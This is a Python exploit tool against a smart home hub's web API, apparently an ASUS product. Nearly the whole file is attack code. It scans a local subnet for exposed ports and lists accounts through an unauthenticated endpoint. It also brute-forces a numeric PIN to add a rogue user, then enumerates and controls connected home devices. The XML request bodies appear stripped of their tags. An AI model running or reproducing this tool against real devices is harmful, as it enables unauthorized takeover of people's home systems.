#!/usr/bin/env python3
import socket
import requests
import xml.etree.ElementTree as ET
from DeviceInfo import *
import hashlib
requests.packages.urllib3.disable_warnings()
class SmartHomeExploit():
def output(self, s):
if self.v:
print(s)
def __init__(self, target, user=None ,new_user=None, pwd="0000",verbose=False):
self.pwd = pwd
self.target = target
self.headers = {'Content-Type': 'text/xml'}
if new_user: add_success = self.addUser(new_user)
# select user
if user:
self.user = user
elif new_user and add_success:
self.user = new_user
else:
self.user = SmartHomeExploit.getFirstUser(self.target)
self.v = verbose
@staticmethod
def getFirstUser(target):
""" get first user from target
Args:
target (str): target ip and port (e.g. "192.168.0.1:8080")
Returns:
string: username (None => no user)
"""
e,users = SmartHomeExploit.getUsers(target)
if e and len(users):
return users[0]
else:
return None
@staticmethod
def getUsers(target):
""" get all user from target
Args:
target (str): target protocol, ip and port (e.g. "http://192.168.0.1:8080")
Returns:
bool: True => exploitable, False => not exploitable
list: user list
"""
try:
target_url = "%s/smarthome/usergetinfo" % (target)
response = requests.post(target_url,data="",timeout=5,headers={'Content-Type': 'text/xml'},verify=False)
root = ET.fromstring(response.text)
if root.tag == "usergetinfo":
return True,list(map(lambda x:x.text,root.findall("userinfo/asusaccount")))
except Exception as e:
return False,[]
return False,[]
@staticmethod
def scanNetWorkPort(target, v=False, timeout=1000, scan_all=False):
target_fmt = target + ".%d"
result = []
for i in range(256):
t = target_fmt % i
if v:print("[INFO] scanning",t)
ip_port = SmartHomeExploit.scanVulPort(t,timeout=timeout)
if ip_port:
if v:print("* FOUND : %s is exploitable. " % ip_port)
if scan_all:
result.append(ip_port)
else:
return [ip_port]
return result
@staticmethod
def scanVulPort(target, v=False,timeout=1000):
""" scan exploitable port(8080-8181)
Args:
target (str) : target ip (e.g. "192.168.0.1")
verbose (bool): show verbose
Returns:
str: exploitable port and protocol (format : http://192.168.0.1:8080 , "" => not exploitable)
"""
for port in range(8080,8080+101):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout/1000)
result = sock.connect_ex((target, port))
if result == 0:
if SmartHomeExploit.checkVulService("http://%s:%s" % (target,port), v):
return "http://%s:%s" % (target,port)
if SmartHomeExploit.checkVulService("https://%s:%s" % (target,port), v):
return "https://%s:%s" % (target,port)
sock.close()
except Exception as e:
print("[ERROR]: scan error")
return ""
@staticmethod
def checkVulService(target,v=False):
""" scan exploitable service.
Args:
target (str) : target (e.g. "http://192.168.0.1:8080")
verbose (bool): show verbose
Returns:
bool: is exploitable.
"""
e, users= SmartHomeExploit.getUsers(target)
if v: print("[INFO] target : %s" % (target))
if e:
if v:
print("[INFO] ---------------------------")
print("[INFO] # List account #")
for account in users:
print(" * " + account)
print("[INFO] ---------------------------\n")
return True
else:
if v: print(" > Not exploitable\n")
return False
def addUser(self, username):
""" add a user to device
Args:
username (str): the name want to add
Returns:
bool: True => success
"""
xml = """
%s
%s
%s
%s
%s
0
A
A
1
1
1
1
""" % (username, username, "password", hashlib.md5(username.encode("utf-8")).hexdigest(), self.pwd)
try:
target_url = "%s/smarthome/useradd" % (self.target)
self.output(xml + "\n")
response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
self.output(response.text)
root = ET.fromstring(response.text)
if root.tag == "useradd" and root.find("resultcode").text == "0":
return True
except Exception as e:
return False
return False
def forceAddUser(self, name):
""" brute force the password, and add a user to device.
Args:
username (str): the name want to add
Returns:
bool: True => success
"""
for i in range(4,7):
max = 10**i
for j in range(0,max):
pwd = ("%%0%dd" % 4) % j
self.output(pwd)
self.pwd = pwd
if self.addUser(name):
print("password = %s" % self.pwd)
return True
if j % 100 == 0:
print("test pwd: %s" % (self.pwd[:2]+"XX"))
return False
def listDeviceInfo(self):
""" list all device
Returns:
list of dict: (None=>Error)
int: deviceid
str: devicename
str: type
str: value
"""
xml = """
%s
""" % self.user
try:
target_url = "%s/smarthome/devicegetinfo" % (self.target)
self.output(xml + "\n")
response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
root = ET.fromstring(response.text)
self.output(response.text)
if root.tag == "devicegetinfo" and root.find("resultcode").text == "0":
l = []
for i in root.findall("deviceinfo"):
l.append(parseDeviceInfo(i))
return l
except Exception as e:
return None
return None
@staticmethod
def printDevice(status):
""" print device status (deviceStatus)
Args:
status (dict): device status dict (get from deviceStatus).
"""
if status and ('deviceid' and 'devicename' and 'type' and 'value' in status):
print("[*] Device status")
print(" > deviceid : %s" % status['deviceid'])
print(" > devicename : %s" % status['devicename'])
print(" > type : %s" % status['type'])
print(" > value : %s" % status['value'])
else:
print("[ERROR] format error!")
def deviceStatus(self, id):
""" show device status by device_id.
Args:
id (int): device id (get from listDeviceInfo).
Returns:
dict: (None=>Error)
int: deviceid
str: devicename
str: type
str: value
"""
xml = """
%s
%s
""" % (self.user , id)
try:
target_url = "%s/smarthome/devicegetinfo" % (self.target)
self.output(xml + "\n")
response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
self.output(response.text)
root = ET.fromstring(response.text)
if root.tag == "devicegetinfo" and root.find("resultcode").text == "0":
xml = root.find("deviceinfo")
return parseDeviceInfo(xml)
except Exception as e:
return None
return None
def getCtrlClusterid(self, id):
return device_ctrl[self.deviceStatus(id)['type']]
def deviceControl(self, id, value):
""" control device
Args:
id (int): device id
value: The value you want to set
Returns:
bool: True => success
"""
try:
xml = """
%s
%s
%s
%s
""" % (self.user, id, self.getCtrlClusterid(id), value)
target_url = "%s/smarthome/devicecontrol" % (self.target)
self.output(xml + "\n")
response = requests.post(target_url,data=xml,timeout=5,headers=self.headers,verify=False)
self.output(response.text)
root = ET.fromstring(response.text)
if root.tag == "devicecontrol" and root.find("resultcode").text == "0":
return True
except Exception as e:
import traceback
print("ERROR : ")
traceback.print_exc()
return False
return False